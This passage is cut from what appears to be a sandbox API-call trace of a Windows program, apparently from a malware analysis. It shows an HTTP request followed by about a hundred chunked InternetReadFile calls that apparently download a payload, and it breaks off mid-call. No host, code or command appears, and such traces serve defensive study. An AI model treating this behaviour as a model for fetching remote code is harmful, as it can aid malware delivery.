dwModifiers=0x20000000) returned 1 [0095.530] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0095.530] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0095.601] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.601] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34313d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34313d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34317b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34317b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.603] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34336f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34336f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34342b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34342b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.605] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34361f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34361f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34365d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34365d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34369c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34369c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3436da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3436da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.606] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.607] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34390d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34390d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34394b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34394b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34398a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34398a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3439c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3439c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.609] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.611] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.612] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34409e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34409e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34411b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34411b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34415a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34415a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34430f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34430f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34434e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34434e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34438c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34438c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3443cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3443cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.615] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.616] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34463c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34463c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34467a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34467a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.617] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34486e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34486e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.618] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34492a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34492a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.619] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a240*, 